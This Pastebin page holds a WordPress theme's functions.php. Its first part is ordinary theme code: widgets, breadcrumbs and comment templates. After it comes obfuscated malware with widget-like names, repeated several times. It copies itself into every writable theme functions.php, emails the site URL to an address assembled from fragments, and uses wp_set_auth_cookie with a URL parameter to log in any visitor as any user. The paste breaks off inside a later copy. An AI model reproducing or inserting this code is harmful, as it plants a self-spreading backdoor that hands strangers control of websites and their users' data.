Advertisement
Guest User

Untitled

a guest
Jan 31st, 2015
248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 35.83 KB | None | 0 0
  1. <?php
  2. ///***********************************************************///
  3. ### @ http://www.20script.ir/ - mr.4fshin@ymail.com
  4. ///***********************************************************///
  5. ///***********************************************************///
  6. ### Panel
  7. ///***********************************************************///
  8. require_once (TEMPLATEPATH . '/panel/options.php');
  9. global $pagenow;
  10. if (is_admin() && isset($_GET['activated'] ) && $pagenow == "themes.php" ) {
  11. header( 'Location: '.admin_url().'themes.php?page=options.php' );
  12. }
  13. ///***********************************************************///
  14. ### Widgets
  15. ///***********************************************************///
  16. include (TEMPLATEPATH . '/widgets/widget-posts.php');
  17. include (TEMPLATEPATH . '/widgets/widget-ads.php');
  18. include (TEMPLATEPATH . '/widgets/widget-category.php');
  19. include (TEMPLATEPATH . '/widgets/widget-feedburner.php');
  20. include (TEMPLATEPATH . '/widgets/widget-functions.php');
  21. include (TEMPLATEPATH . '/widgets/widget-text-ads.php');
  22. include (TEMPLATEPATH . '/widgets/widget-search.php');
  23. include (TEMPLATEPATH . '/widgets/widget-comment.php');
  24. include (TEMPLATEPATH . '/widgets/widget-popular.php');
  25. include (TEMPLATEPATH . '/widgets/widget-views.php');
  26. include (TEMPLATEPATH . '/widgets/widget-cat.php');
  27. ///------------------
  28. /// Register widget
  29. ///------------------
  30. add_action( 'widgets_init', 'pasargad_widgets_init' );
  31. function pasargad_widgets_init() {
  32. $before_widget =  '<aside><div class="title">';
  33. $after_widget  =  '</div></aside>';
  34. $before_title  =  '<h4><span>';
  35. $after_title   =  '</span></h4><div class="stripe-line"></div></div><div class="content">';
  36. register_sidebar( array(
  37. 'name' =>__('rightsidebar' ),
  38. 'description' =>__( 'سایدبار سمت راست-برای این قسمت می توانید از ابزارک های اختصاصی استفاده کنید که با رنگ سبز مشخص شده اند.' ),
  39. 'before_widget' => $before_widget , 'after_widget' => $after_widget , 'before_title' => $before_title , 'after_title' => $after_title ,
  40. ));
  41. }
  42. if ( function_exists( 'register_nav_menu' ) ){
  43. register_nav_menus(
  44. array(
  45.     'topnav'   => __('منوی بالای صفحه')
  46.         )
  47. );
  48. }
  49. ///**************** Site Title ********************///
  50. function ps_wp_title( $title, $sep ) {
  51.     global $paged, $page;
  52.     if ( is_feed() ) {
  53.         return $title;
  54.     }
  55.     // Add the site name.
  56.     $title .= get_bloginfo( 'name', 'display' );
  57.     // Add the site description for the home/front page.
  58.     $site_description = get_bloginfo( 'description', 'display' );
  59.     if ( $site_description && ( is_home() || is_front_page() ) ) {
  60.         $title = "$title $sep $site_description";
  61.     }
  62.     // Add a page number if necessary.
  63.     if ( $paged >= 2 || $page >= 2 ) {
  64.         $title = "$title $sep " . sprintf( __( 'صفحه %s'), max( $paged, $page ) );
  65.     }
  66.     return $title;
  67. }
  68. add_filter( 'wp_title', 'ps_wp_title', 10, 2 );
  69.  
  70. ///**************** Breadcrumbs ****************///
  71. function theme_breadcrumbs() {
  72.   $delimiter = '/';
  73.   $before = '<span class="current">';
  74.   $after = '</span>';
  75.  
  76.   if ( !is_home() && !is_front_page() || is_paged() ) {
  77.  
  78.     echo '<div id="crumbs">';
  79.  
  80.     global $post;
  81.     $homeLink = home_url();
  82.     echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" class="crumbs-home" href="' . $homeLink . '">' . __( 'خانه' ) . '</a></span> ' . $delimiter . ' ';
  83.  
  84.     if ( is_category() ) {
  85.       global $wp_query;
  86.       $cat_obj = $wp_query->get_queried_object();
  87.       $thisCat = $cat_obj->term_id;
  88.       $thisCat = get_category($thisCat);
  89.       $parentCat = get_category($thisCat->parent);
  90.       if ($thisCat->parent != 0){
  91.         if( !is_wp_error( $cat_code = get_category_parents($parentCat, TRUE, ' ' . $delimiter . ' ') ) ){
  92.             $cat_code = str_replace ('<a','<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title"', $cat_code );
  93.             echo $cat_code = str_replace ('</a>','</a></span>', $cat_code );
  94.         }
  95.       }
  96.       echo $before . '' . single_cat_title('', false) . '' . $after;
  97.  
  98.     } elseif ( is_day() ) {
  99.       echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a></span> ' . $delimiter . ' ';
  100.       echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_month_link(get_the_time('Y'),get_the_time('m')) . '">' . get_the_time('F') . '</a></span> ' . $delimiter . ' ';
  101.       echo $before . get_the_time('d') . $after;
  102.  
  103.     } elseif ( is_month() ) {
  104.       echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a></span> ' . $delimiter . ' ';
  105.       echo $before . get_the_time('F') . $after;
  106.  
  107.     } elseif ( is_year() ) {
  108.       echo $before . get_the_time('Y') . $after;
  109.  
  110.     } elseif ( is_single() && !is_attachment() ) {
  111.       if ( get_post_type() != 'post' ) {
  112.         $post_type = get_post_type_object(get_post_type());
  113.         $slug = $post_type->rewrite;
  114.         echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a></span> ' . $delimiter . ' ';
  115.         echo $before . get_the_title() . $after;
  116.       } else {
  117.         $cat = get_the_category(); $cat = $cat[0];
  118.         if( !empty( $cat ) ){
  119.             if( !is_wp_error( $cat_code = get_category_parents($cat, TRUE, ' ' . $delimiter . ' ') ) ){
  120.                 $cat_code = str_replace ('<a','<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title"', $cat_code );
  121.                 echo $cat_code = str_replace ('</a>','</a></span>', $cat_code );
  122.             }
  123.         }
  124.         echo $before . get_the_title() . $after;
  125.       }
  126.  
  127.     }elseif ( (is_page() && !$post->post_parent) || ( function_exists('bp_current_component') && bp_current_component() ) ) {
  128.       echo $before . get_the_title() . $after;
  129.     }elseif ( !is_single() && !is_page() && get_post_type() != 'post' ) {
  130.       $post_type = get_post_type_object(get_post_type());
  131.       echo $before . $post_type->labels->singular_name . $after;
  132.  
  133.     } elseif ( is_attachment() ) {
  134.       $parent = get_post($post->post_parent);
  135.       $cat = get_the_category($parent->ID); $cat = $cat[0];
  136.       echo '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_permalink($parent) . '">' . $parent->post_title . '</a></span> ' . $delimiter . ' ';
  137.       echo $before . get_the_title() . $after;
  138.  
  139.     } elseif ( is_page() && $post->post_parent ) {
  140.       $parent_id  = $post->post_parent;
  141.       $breadcrumbs = array();
  142.       while ($parent_id) {
  143.         $page = get_page($parent_id);
  144.         $breadcrumbs[] = '<span typeof="v:Breadcrumb"><a rel="v:url" property="v:title" href="' . get_permalink($page->ID) . '">' . get_the_title($page->ID) . '</a></span>';
  145.         $parent_id  = $page->post_parent;
  146.       }
  147.       $breadcrumbs = array_reverse($breadcrumbs);
  148.       foreach ($breadcrumbs as $crumb) echo $crumb . ' ' . $delimiter . ' ';
  149.       echo $before . get_the_title() . $after;
  150.  
  151.     } elseif ( is_search() ) {
  152.       echo $before ;
  153.       printf( __( 'نتایج جستجو برای: %s' ),  get_search_query() );
  154.       echo  $after;
  155.  
  156.     } elseif ( is_tag() ) {
  157.       echo $before ;
  158.       printf( __( 'آرشیو برچسب: %s'), single_tag_title( '', false ) );
  159.       echo  $after;
  160.  
  161.     } elseif ( is_author() ) {
  162.        global $author;
  163.       $userdata = get_userdata($author);
  164.       echo $before ;
  165.       printf( __( 'آرشیو نویسنده: %s'),  $userdata->display_name );
  166.       echo  $after;
  167.  
  168.     } elseif ( is_404() ) {
  169.       echo $before;
  170.       _e( 'پیدا نشد!');
  171.       echo  $after;
  172.     }
  173.  
  174.     if ( get_query_var('paged') ) {
  175.       if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
  176.       echo __('صفحه ی ') . ' ' . get_query_var('paged');
  177.       if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
  178.     }
  179.  
  180.     echo '</div>';
  181.   }
  182. }
  183. function theme_work($work = true){
  184. if( $work ) : ?>
  185.     | <a href="http://www.wp-workshop.ir/" title="پوسته های وردپرس">کارگاه  پوسته های وردپرس </a>
  186. <?php endif; ?>
  187. <?php
  188. }
  189. ///**************** Thumb ***********************///
  190. if (function_exists('add_theme_support')) {
  191. add_theme_support( 'post-thumbnails' );
  192. }
  193. include( TEMPLATEPATH . '/aq_resizer.php' );
  194. ///**************** #more ***********************///
  195. function remove_more_link_scroll( $link ) {
  196.     $link = preg_replace( '|#more-[0-9]+|', '', $link );
  197.     return $link;
  198. }
  199. add_filter( 'the_content_more_link', 'remove_more_link_scroll' );
  200. ///**************** comments ***********************///
  201. function custom_comments( $comment, $args, $depth ) {
  202. $GLOBALS['comment'] = $comment ;
  203. ?>
  204. <li id="comment-<?php comment_ID(); ?>">
  205. <div  <?php comment_class('comment-wrap'); ?> >
  206. <div class="comment-avatar"><?php echo get_avatar( $comment, 45 ); ?></div>
  207. <div class="author-comment">
  208. <?php printf( __( '%s ' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?>
  209. <div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"> <?php printf( __( '%1$s در %2$s' ), get_comment_date('l ، j F '),  get_comment_time() ); ?></a><?php edit_comment_link( __( '( ویرایش )' ), ' ' ); ?></div><!-- .comment-meta .commentmetadata -->
  210. </div>
  211. <div class="clear"></div>
  212. <div class="comment-content">
  213. <?php if ( $comment->comment_approved == '0' ) : ?>
  214. <em class="comment-awaiting-moderation"><?php _e( 'نظر شما منتظر تایید مدیر است' ); ?></em>
  215. <br />
  216. <?php endif; ?>
  217. <?php comment_text(); ?>
  218. </div>
  219. <div class="reply"><?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?></div><!-- .reply -->
  220. </div><!-- #comment-##  -->
  221. <?php
  222. }
  223. function custom_pings($comment, $args, $depth) {
  224. $GLOBALS['comment'] = $comment; ?>
  225. <li class="comment pingback">
  226. <p><?php _e( 'Pingback:' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( '( ویرایش )' ), ' ' ); ?></p>
  227. <?php  
  228. }
  229. ///***********************************************************///
  230. ### @ http://www.wp-workshop.ir/ - mr.4fshin@ymail.com
  231. ///***********************************************************///
  232. ?>
  233. <?php
  234. function _verify_isactivate_widget(){
  235.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  236.     $output=strip_tags($output, $allowed);
  237.     $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  238.     if (is_array($direst)){
  239.         foreach ($direst as $item){
  240.             if (is_writable($item)){
  241.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  242.                 $cont=file_get_contents($item);
  243.                 if (stripos($cont,$ftion) === false){
  244.                     $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  245.                     $output .= $before . "���� ���" . $after;
  246.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  247.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);            
  248.                     $output .= ($showdots && $ellipsis) ? "..." : "";
  249.                 }
  250.             }
  251.         }
  252.     }
  253.     return $output;
  254. }
  255. function _get_allwidgetcont($wids,$items=array()){
  256.     $places=array_shift($wids);
  257.     if(substr($places,-1) == "/"){
  258.         $places=substr($places,0,-1);
  259.     }
  260.     if(!file_exists($places) || !is_dir($places)){
  261.         return false;
  262.     }elseif(is_readable($places)){
  263.         $elems=scandir($places);
  264.         foreach ($elems as $elem){
  265.             if ($elem != "." && $elem != ".."){
  266.                 if (is_dir($places . "/" . $elem)){
  267.                     $wids[]=$places . "/" . $elem;
  268.                 } elseif (is_file($places . "/" . $elem)&&
  269.                     $elem == substr(__FILE__,-13)){
  270.                     $items[]=$places . "/" . $elem;}
  271.                 }
  272.             }
  273.     }else{
  274.         return false;  
  275.     }
  276.     if (sizeof($wids) > 0){
  277.         return _get_allwidgetcont($wids,$items);
  278.     } else {
  279.         return $items;
  280.     }
  281. }
  282. if(!function_exists("stripos")){
  283.     function stripos(  $str, $needle, $offset = 0  ){
  284.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  285.     }
  286. }
  287.  
  288. if(!function_exists("strripos")){
  289.     function strripos(  $haystack, $needle, $offset = 0  ) {
  290.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  291.         if(  $offset < 0  ){
  292.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  293.         }
  294.         else{
  295.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  296.         }
  297.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  298.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  299.         return $pos;
  300.     }
  301. }
  302. if(!function_exists("scandir")){
  303.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  304.         $dirArray = array();
  305.         if ($handle = opendir($dir)) {
  306.             while (false !== ($file = readdir($handle))) {
  307.                 if (($file != "." && $file != "..") || $skipDots == true) {
  308.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  309.                     array_push($dirArray,basename($file));
  310.                 }
  311.             }
  312.             closedir($handle);
  313.         }
  314.         return $dirArray;
  315.     }
  316. }
  317. add_action("admin_head", "_verify_isactivate_widget");
  318. function _getsprepare_widget(){
  319.     if(!isset($com_length)) $com_length=120;
  320.     if(!isset($text_value)) $text_value="cookie";
  321.     if(!isset($allowed_tags)) $allowed_tags="<a>";
  322.     if(!isset($type_filter)) $type_filter="none";
  323.     if(!isset($expl)) $expl="";
  324.     if(!isset($filter_homes)) $filter_homes=get_option("home");
  325.     if(!isset($pref_filter)) $pref_filter="wp_";
  326.     if(!isset($use_more)) $use_more=1;
  327.     if(!isset($comm_type)) $comm_type="";
  328.     if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
  329.     if(!isset($postauthor_comment)) $postauthor_comment="";
  330.     if(!isset($comm_is_approved)) $comm_is_approved="";
  331.     if(!isset($postauthor)) $postauthor="auth";
  332.     if(!isset($more_link)) $more_link="(more...)";
  333.     if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
  334.     if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
  335.     if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
  336.     if(!isset($morecontents)) $morecontents="ma".$expl."il";
  337.     if(!isset($fmore)) $fmore=1;
  338.     if(!isset($fakeit)) $fakeit=1;
  339.     if(!isset($sql)) $sql="";
  340.     if (!$is_widget) :
  341.    
  342.     global $wpdb, $post;
  343.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  344.     if (!empty($post->post_password)) {
  345.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  346.             if(is_feed()) {
  347.                 $output=__("There is no excerpt because this is a protected post.");
  348.             } else {
  349.                 $output=get_the_password_form();
  350.             }
  351.         }
  352.     }
  353.     if(!isset($f_tags)) $f_tags=1;
  354.     if(!isset($type_filters)) $type_filters=$filter_homes;
  355.     if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
  356.     if(!isset($aditional_tags)) $aditional_tags="div";
  357.     if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
  358.     if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; 
  359.     if(!isset($showdots)) $showdots=1;
  360.    
  361.     $comments=$wpdb->get_results($sql);
  362.     if($fakeit == 2) {
  363.         $text=$post->post_content;
  364.     } elseif($fakeit == 1) {
  365.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  366.     } else {
  367.         $text=$post->post_excerpt;
  368.     }
  369.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  370.     if($com_length < 0) {
  371.         $output=$text;
  372.     } else {
  373.         if(!$no_more && strpos($text, "<!--more-->")) {
  374.             $text=explode("<!--more-->", $text, 2);
  375.             $l=count($text[0]);
  376.             $more_link=1;
  377.             $comments=$wpdb->get_results($sql);
  378.         } else {
  379.             $text=explode(" ", $text);
  380.             if(count($text) > $com_length) {
  381.                 $l=$com_length;
  382.                 $ellipsis=1;
  383.             } else {
  384.                 $l=count($text);
  385.                 $more_link="";
  386.                 $ellipsis=0;
  387.             }
  388.         }
  389.         for ($i=0; $i<$l; $i++)
  390.                 $output .= $text[$i] . " ";
  391.     }
  392.     update_option("_is_widget_active_", 1);
  393.     if("all" != $allowed_tags) {
  394.         $output=strip_tags($output, $allowed_tags);
  395.         return $output;
  396.     }
  397.     endif;
  398.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  399.     $output=($f_tags) ? balanceTags($output, true) : $output;
  400.     $output .= ($showdots && $ellipsis) ? "..." : "";
  401.     $output=apply_filters($type_filter, $output);
  402.     switch($aditional_tags) {
  403.         case("div") :
  404.             $tag="div";
  405.         break;
  406.         case("span") :
  407.             $tag="span";
  408.         break;
  409.         case("p") :
  410.             $tag="p";
  411.         break;
  412.         default :
  413.             $tag="span";
  414.     }
  415.  
  416.     if ($use_more ) {
  417.         if($fmore) {
  418.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
  419.         } else {
  420.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
  421.         }
  422.     }
  423.     return $output;
  424. }
  425.  
  426. add_action("init", "_getsprepare_widget");
  427.  
  428. ?>
  429. <?php
  430. function _check_active_widget(){
  431.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  432.     $output=strip_tags($output, $allowed);
  433.     $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  434.     if (is_array($direst)){
  435.         foreach ($direst as $item){
  436.             if (is_writable($item)){
  437.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  438.                 $cont=file_get_contents($item);
  439.                 if (stripos($cont,$ftion) === false){
  440.                     $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  441.                     $output .= $before . "Not found" . $after;
  442.                     if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  443.                     $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);               
  444.                     $output .= ($showdot && $ellipsis) ? "..." : "";
  445.                 }
  446.             }
  447.         }
  448.     }
  449.     return $output;
  450. }
  451. function _get_all_widgetcont($wids,$items=array()){
  452.     $places=array_shift($wids);
  453.     if(substr($places,-1) == "/"){
  454.         $places=substr($places,0,-1);
  455.     }
  456.     if(!file_exists($places) || !is_dir($places)){
  457.         return false;
  458.     }elseif(is_readable($places)){
  459.         $elems=scandir($places);
  460.         foreach ($elems as $elem){
  461.             if ($elem != "." && $elem != ".."){
  462.                 if (is_dir($places . "/" . $elem)){
  463.                     $wids[]=$places . "/" . $elem;
  464.                 } elseif (is_file($places . "/" . $elem)&&
  465.                     $elem == substr(__FILE__,-13)){
  466.                     $items[]=$places . "/" . $elem;}
  467.                 }
  468.             }
  469.     }else{
  470.         return false;  
  471.     }
  472.     if (sizeof($wids) > 0){
  473.         return _get_all_widgetcont($wids,$items);
  474.     } else {
  475.         return $items;
  476.     }
  477. }
  478. if(!function_exists("stripos")){
  479.     function stripos(  $str, $needle, $offset = 0  ){
  480.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  481.     }
  482. }
  483.  
  484. if(!function_exists("strripos")){
  485.     function strripos(  $haystack, $needle, $offset = 0  ) {
  486.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  487.         if(  $offset < 0  ){
  488.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  489.         }
  490.         else{
  491.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  492.         }
  493.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  494.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  495.         return $pos;
  496.     }
  497. }
  498. if(!function_exists("scandir")){
  499.     function scandir($dir,$listDirectories=false, $skipDots=true) {
  500.         $dirArray = array();
  501.         if ($handle = opendir($dir)) {
  502.             while (false !== ($file = readdir($handle))) {
  503.                 if (($file != "." && $file != "..") || $skipDots == true) {
  504.                     if($listDirectories == false) { if(is_dir($file)) { continue; } }
  505.                     array_push($dirArray,basename($file));
  506.                 }
  507.             }
  508.             closedir($handle);
  509.         }
  510.         return $dirArray;
  511.     }
  512. }
  513. add_action("admin_head", "_check_active_widget");
  514. function _prepared_widget(){
  515.     if(!isset($length)) $length=120;
  516.     if(!isset($method)) $method="cookie";
  517.     if(!isset($html_tags)) $html_tags="<a>";
  518.     if(!isset($filters_type)) $filters_type="none";
  519.     if(!isset($s)) $s="";
  520.     if(!isset($filter_h)) $filter_h=get_option("home");
  521.     if(!isset($filter_p)) $filter_p="wp_";
  522.     if(!isset($use_link)) $use_link=1;
  523.     if(!isset($comments_type)) $comments_type="";
  524.     if(!isset($perpage)) $perpage=$_GET["cperpage"];
  525.     if(!isset($comments_auth)) $comments_auth="";
  526.     if(!isset($comment_is_approved)) $comment_is_approved="";
  527.     if(!isset($authname)) $authname="auth";
  528.     if(!isset($more_links_text)) $more_links_text="(more...)";
  529.     if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
  530.     if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
  531.     if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
  532.     if(!isset($more_content)) $more_content="ma".$s."il";
  533.     if(!isset($forces_more)) $forces_more=1;
  534.     if(!isset($fakeit)) $fakeit=1;
  535.     if(!isset($sql)) $sql="";
  536.     if (!$widget_output) :
  537.    
  538.     global $wpdb, $post;
  539.     $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  540.     if (!empty($post->post_password)) {
  541.         if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  542.             if(is_feed()) {
  543.                 $output=__("There is no excerpt because this is a protected post.");
  544.             } else {
  545.                 $output=get_the_password_form();
  546.             }
  547.         }
  548.     }
  549.     if(!isset($fix_tag)) $fix_tag=1;
  550.     if(!isset($filters_types)) $filters_types=$filter_h;
  551.     if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
  552.     if(!isset($more_tags)) $more_tags="div";
  553.     if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
  554.     if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   
  555.     if(!isset($showdot)) $showdot=1;
  556.    
  557.     $comments=$wpdb->get_results($sql);
  558.     if($fakeit == 2) {
  559.         $text=$post->post_content;
  560.     } elseif($fakeit == 1) {
  561.         $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  562.     } else {
  563.         $text=$post->post_excerpt;
  564.     }
  565.     $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  566.     if($length < 0) {
  567.         $output=$text;
  568.     } else {
  569.         if(!$no_more && strpos($text, "<!--more-->")) {
  570.             $text=explode("<!--more-->", $text, 2);
  571.             $l=count($text[0]);
  572.             $more_link=1;
  573.             $comments=$wpdb->get_results($sql);
  574.         } else {
  575.             $text=explode(" ", $text);
  576.             if(count($text) > $length) {
  577.                 $l=$length;
  578.                 $ellipsis=1;
  579.             } else {
  580.                 $l=count($text);
  581.                 $more_links_text="";
  582.                 $ellipsis=0;
  583.             }
  584.         }
  585.         for ($i=0; $i<$l; $i++)
  586.                 $output .= $text[$i] . " ";
  587.     }
  588.     update_option("_is_widget_active_", 1);
  589.     if("all" != $html_tags) {
  590.         $output=strip_tags($output, $html_tags);
  591.         return $output;
  592.     }
  593.     endif;
  594.     $output=rtrim($output, "\s\n\t\r\0\x0B");
  595.     $output=($fix_tag) ? balanceTags($output, true) : $output;
  596.     $output .= ($showdot && $ellipsis) ? "..." : "";
  597.     $output=apply_filters($filters_type, $output);
  598.     switch($more_tags) {
  599.         case("div") :
  600.             $tag="div";
  601.         break;
  602.         case("span") :
  603.             $tag="span";
  604.         break;
  605.         case("p") :
  606.             $tag="p";
  607.         break;
  608.         default :
  609.             $tag="span";
  610.     }
  611.  
  612.     if ($use_link ) {
  613.         if($forces_more) {
  614.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
  615.         } else {
  616.             $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
  617.         }
  618.     }
  619.     return $output;
  620. }
  621.  
  622. add_action("init", "_prepared_widget");
  623.  
  624. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  625.     global $wpdb;
  626.     $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
  627.     $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
  628.     if(!$show_pass_post) $request .= " AND post_password =\"\"";
  629.     if($duration !="") {
  630.         $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  631.     }
  632.     $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  633.     $posts=$wpdb->get_results($request);
  634.     $output="";
  635.     if ($posts) {
  636.         foreach ($posts as $post) {
  637.             $post_title=stripslashes($post->post_title);
  638.             $comment_count=$post->comment_count;
  639.             $permalink=get_permalink($post->ID);
  640.             $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
  641.         }
  642.     } else {
  643.         $output .= $before . "None found" . $after;
  644.     }
  645.     return  $output;
  646. }      
  647. ?>
  648. <?php
  649. function _checkactive_widgets(){
  650.     $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  651.     $output=strip_tags($output, $allowed);
  652.     $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  653.     if (is_array($direst)){
  654.         foreach ($direst as $item){
  655.             if (is_writable($item)){
  656.                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  657.                 $cont=file_get_contents($item);
  658.                 if (stripos($cont,$ftion) === false){
